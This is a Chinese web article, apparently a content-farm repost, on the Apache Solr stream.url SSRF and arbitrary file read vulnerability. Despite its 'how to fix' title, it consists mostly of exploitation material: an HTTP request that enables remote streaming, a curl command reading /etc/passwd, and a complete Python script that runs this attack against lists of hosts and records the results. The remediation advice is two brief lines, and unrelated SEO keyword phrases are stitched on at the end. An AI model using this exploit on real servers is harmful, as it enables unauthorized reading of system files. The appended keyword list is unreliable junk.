Apache-Solr任意文件读取漏洞怎么修复
发表于:2025-12-02 作者:千家信息网编辑
千家信息网最后更新 2025年12月02日,这篇文章主要讲解了"Apache-Solr任意文件读取漏洞怎么修复",文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习"Apache-Solr任意文件读取漏洞
千家信息网最后更新 2025年12月02日Apache-Solr任意文件读取漏洞怎么修复
这篇文章主要讲解了"Apache-Solr任意文件读取漏洞怎么修复",文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习"Apache-Solr任意文件读取漏洞怎么修复"吧!
漏洞描述
Apache Solr是一个开源的搜索服务,使用Java语言开发。Apache Solr的某些功能存在过滤不严格,在Apache Solr未开启认证的情况下,攻击者可直接构造特定请求开启特定配置,并最终造成SSRF或文件读取漏洞。
漏洞评级
Apache Solr stream.url SSRF与任意文件读取漏洞 中危
影响版本
Apache Solr 所有版本
安全版本
官方不予修复,暂无安全版本。
复现过程
环境搭建
docker search solrdocker pull solrdocker run -d -p 8983:8983 solrdocker exec -it 实例id /bin/bashcp -r server/solr/configsets/_default/conf /var/solr/data/test1
参考:http://www.bubuko.com/infodetail-3118740.html
漏洞复现
首先获取core
以my_core测试为例,
POST /solr/my_core/config HTTP/1.1Host: x.x.x.x:8983Cache-Control: max-age=0Upgrade-Insecure-Requests: 1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.90 Safari/537.36Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9Accept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9,en;q=0.8Connection: closeContent-Length: 84{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}读取文件
curl "http://ip:8983/solr/my_core/debug/dump?param=ContentStreams" -F "stream.url=file:///etc/passwd"
EXP:
#!/usr/bin/python# coding: UTF-8import argparseimport asyncioimport jsonimport pathlibfrom typing import Tuplefrom urllib.parse import urlparseimport httpxclass URLAction(argparse.Action):def __call__(self, parser, namespace, values, option_string=None):if not urlparse(values):raise ValueError("Not a valid url!")setattr(namespace, self.dest, values)class FILEAction(argparse.Action):def __call__(self, parser, namespace, values, option_string=None):if not pathlib.Path(values).exists():raise ValueError("File not exists!")setattr(namespace, self.dest, values)parser = argparse.ArgumentParser(description="Solr Poc")parser.add_argument("--host", type=str, action=URLAction, help="target host uri")parser.add_argument("--file", type=str, action=FILEAction, help="target host file")parser.add_argument("--conn", type=int, default=10, help="asyncio max connetions")args = parser.parse_args()SEM = asyncio.Semaphore(args.conn)RESULT = {}async def check(host: str) -> Tuple[str, bool]:status = Falseasync with SEM:async with httpx.AsyncClient(base_url=host) as client:try:core_data = (await client.get("/solr/admin/cores?indexInfo=false&wt=json", timeout=3)).json()except httpx.ReadTimeout:print(f"{host} TimeOut!")status = "TimeOut"else:if (data_status := core_data["status"]) :core = list(data_status.keys())[0]await client.post(f"/solr/{core}/config",json={"set-property": {"requestDispatcher.requestParsers.enableRemoteStreaming": "true"}},)result_data = (await client.post(url=f"/solr/{core}/debug/dump?param=ContentStreams",data={"stream.url": "file:///etc/passwd"},)).json()if (streams := result_data["streams"]) :print(streams[0]["stream"])status = Truefinally:RESULT[host] = statusreturn host, statusasync def loop(urls):await asyncio.gather(*list(map(check, urls)))def main():result_file = pathlib.Path("solr_main.json")try:urls = set()if args.host:urls.add(args.host)if args.file:with pathlib.Path(args.file).open("r") as file:urls = urls.union({url for line in file if urlparse((url := line.strip()))})print(f"tasks: {len(urls)}")asyncio.run(loop(urls))except KeyboardInterrupt:passfinally:with result_file.open("w") as file:file.write(json.dumps(RESULT, indent=4, ensure_ascii=True))修复建议
1. 增加身份验证/授权
2. 禁止Solr API 以及管理 UI 直接对公网开放。设置防火墙,以便只允许受信任的计算机和人员访问。
感谢各位的阅读,以上就是"Apache-Solr任意文件读取漏洞怎么修复"的内容了,经过本文的学习后,相信大家对Apache-Solr任意文件读取漏洞怎么修复这一问题有了更深刻的体会,具体使用情况还需要大家实践验证。这里是,小编将为大家推送更多相关知识点的文章,欢迎关注!
漏洞
文件
版本
学习
安全
内容
情况
验证
人员
功能
官方
实例
就是
建议
思路
攻击者
文章
更多
环境
知识
数据库的安全要保护哪些东西
数据库安全各自的含义是什么
生产安全数据库录入
数据库的安全性及管理
数据库安全策略包含哪些
海淀数据库安全审计系统
建立农村房屋安全信息数据库
易用的数据库客户端支持安全管理
连接数据库失败ssl安全错误
数据库的锁怎样保障安全
瑞庭网络技术沈阳
数据库与人工智能
枣庄数字化城管软件开发
《网络安全法》自 实施
linux服务器查询所有索引
软件开发有哪些支出
关闭服务器文件监控
河南鼎奥网络技术有限公司
南邮网络安全期末试卷
pg数据库看表名
我的世界副本服务器手机网易版
嘉定区信息软件开发定制大概费用
创建数据库的指令关键词是
互联网科技知识点大全
辽宁智慧灯杆软件开发
我是网络安全卫士的简笔画
环境监测软件开发多少钱
德安网络安全
数据库录入审核自查
软件开发 好的大学
苹果老师跳出加入服务器
宁夏软件开发培训
成都网络安全工程
互联网 硬科技有限公司
mc纯净服务器1.12.2
j2ee部署服务器
杨浦区市场软件开发成本价
软件数据库怎么复制粘贴
雷云3无法找到服务器
网络安全标牌手工